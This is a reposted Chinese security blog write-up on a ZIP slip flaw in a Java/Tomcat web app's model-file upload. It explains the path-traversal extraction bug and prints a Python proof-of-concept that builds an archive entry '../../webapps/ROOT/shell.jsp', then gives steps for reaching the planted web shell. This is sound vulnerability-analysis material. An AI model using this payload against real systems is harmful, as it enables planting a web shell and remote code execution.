0113.Java应用程序中的ZIP滑移导致远程命令执行

admin 2026-01-07 02:25:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了JavaWeb应用中的ZIP滑移漏洞。攻击者通过上传构造的ZIP文件,利用路径遍历序列将恶意JSP文件解压至Tomcat的webapps目录,从而绕过安全检查导致远程命令执行。文章提供了详细的漏洞原理及PythonPoC代码,建议在解压文件时严格校验文件路径以防止目录遍历攻击。 综合评分: 89 文章分类: 漏洞分析,WEB安全,漏洞POC,安全开发,渗透测试


cover_image

0113.Java 应用程序中的 ZIP 滑移导致远程命令执行

原创

Abdelnour Osman

Rsec

2026年1月6日 21:45 贵州

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:ZIP目录遍历

在对基于 Java 的 Web 应用程序进行灰盒安全评估时,我发现了一个允许用户导出和导入应用程序模型的功能。该功能支持下载和上传扩展名为“.mdcs”的模型文件。在分析此功能时,我重点关注了应用程序如何处理上传的文件,因为对归档或序列化数据格式处理不当通常会带来安全风险。

分析

#

在测试应用程序时,我们发现该应用程序接受扩展名为 .mdcs 的文件上传,这些文件本质上是 ZIP 压缩包。应用程序在处理这些文件之前会执行基本的扩展名检查。

PS:本报告中引用的代码片段仅用于模拟目的,并不代表实际的生产源代码。

文件扩展名检查

验证通过后,应用程序会在 Tomcat 的临时目录下创建一个临时目录,将 mdcs (ZIP)文件的内容解压到该目录中,然后尝试从解压后的数据中读取特定文件(metadata.json)。处理完成后,该临时目录将被删除。

将模型文件解压到临时目录

乍一看,这种设计似乎很安全,因为临时目录位于 Tomcat webapps 目录之外,这意味着任意上传的文件无法通过 Web 服务器直接访问。然而,这种假设存在缺陷,因为存在众所周知的 ZIP 滑移漏洞

开发

在默认的 Tomcat 安装中,临时目录遵循以下结构:

C:\tomcat\temp\mdcs_<random_string>\

该应用程序使用 ZipInputStream(或类似 API)提取文件,但并未正确验证压缩包内的文件路径。这使得精心构造的 ZIP 文件可以包含路径遍历序列(例如,../../)的条目。攻击者可以利用此漏洞,使应用程序将文件提取到预期临时目录之外。

例如,通过将恶意 JSP 文件(shell.jsp)嵌入到 ZIP 存档中,并将该条目命名为:

../../webapps/ROOT/shell.jsp

该文件将被解压到已部署的 Tomcat 应用程序目录中。一旦上传并处理完毕,攻击者即可通过 Web 服务器访问 JSP 文件,从而有效地实现远程代码执行 (RCE) 。

概念验证(PoC)

下面这个简单的 Python 脚本会生成一个包含恶意载荷的 ZIP 文件:

import&nbsp;zipfileimport&nbsp;os
def&nbsp;create_zip(payload_path, output_zip):&nbsp; &nbsp;&nbsp;with&nbsp;zipfile.ZipFile(output_zip,&nbsp;'w')&nbsp;as&nbsp;zipf:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(payload_path,&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = f.read()
&nbsp; &nbsp; &nbsp; &nbsp; zi = zipfile.ZipInfo("../../webapps/ROOT/shell.jsp")&nbsp; &nbsp; &nbsp; &nbsp; zipf.writestr(zi, payload)
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; create_zip("shell.jsp",&nbsp;"exploit.mdcs")&nbsp; &nbsp;&nbsp;print("[+] Malicious MDCS created: exploit.mdcs")

利用流程

  • 攻击者使用上述脚本生成恶意模型文件 MDCS (ZIP)。
  • 将 MDCS 文件上传到应用程序。
  • 存在漏洞的提取逻辑会将“ shell.jsp ”放置到“ webapps/ROOT/  或“ webapps/app-name/ ”中。
  • 攻击者访问 http://target/shell.jsp 或 http://target/app-name/shell.jsp 以执行任意命令。

这将导致目标服务器上的远程代码完全执行(RCE)。

利用结果

#

结论

已发现的漏洞表明,文件提取过程中验证不足会导致严重的安全风险。攻击者利用 .mdcs 文件上传功能发起的 ZIP 滑移攻击,可以遍历目录并将任意文件放置到 Tomcat 环境中的敏感位置。这最终导致恶意 JSP 文件执行,从而实现完全远程代码执行 (RCE) 。

感谢您耐心读到这里。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Rsec Abdelnour Osman《0113.Java 应用程序中的 ZIP 滑移导致远程命令执行》

这22款APP及SDK被通报! 网络安全文章

这22款APP及SDK被通报!

文章总结: 工信部近期通报22款侵害用户权益的APP及SDK,依据相关法规范违规行为并督促整改。文章同时介绍了赛博研究院作为上海网络安全智库的定位,及其在数据安
评论:0   参与:  0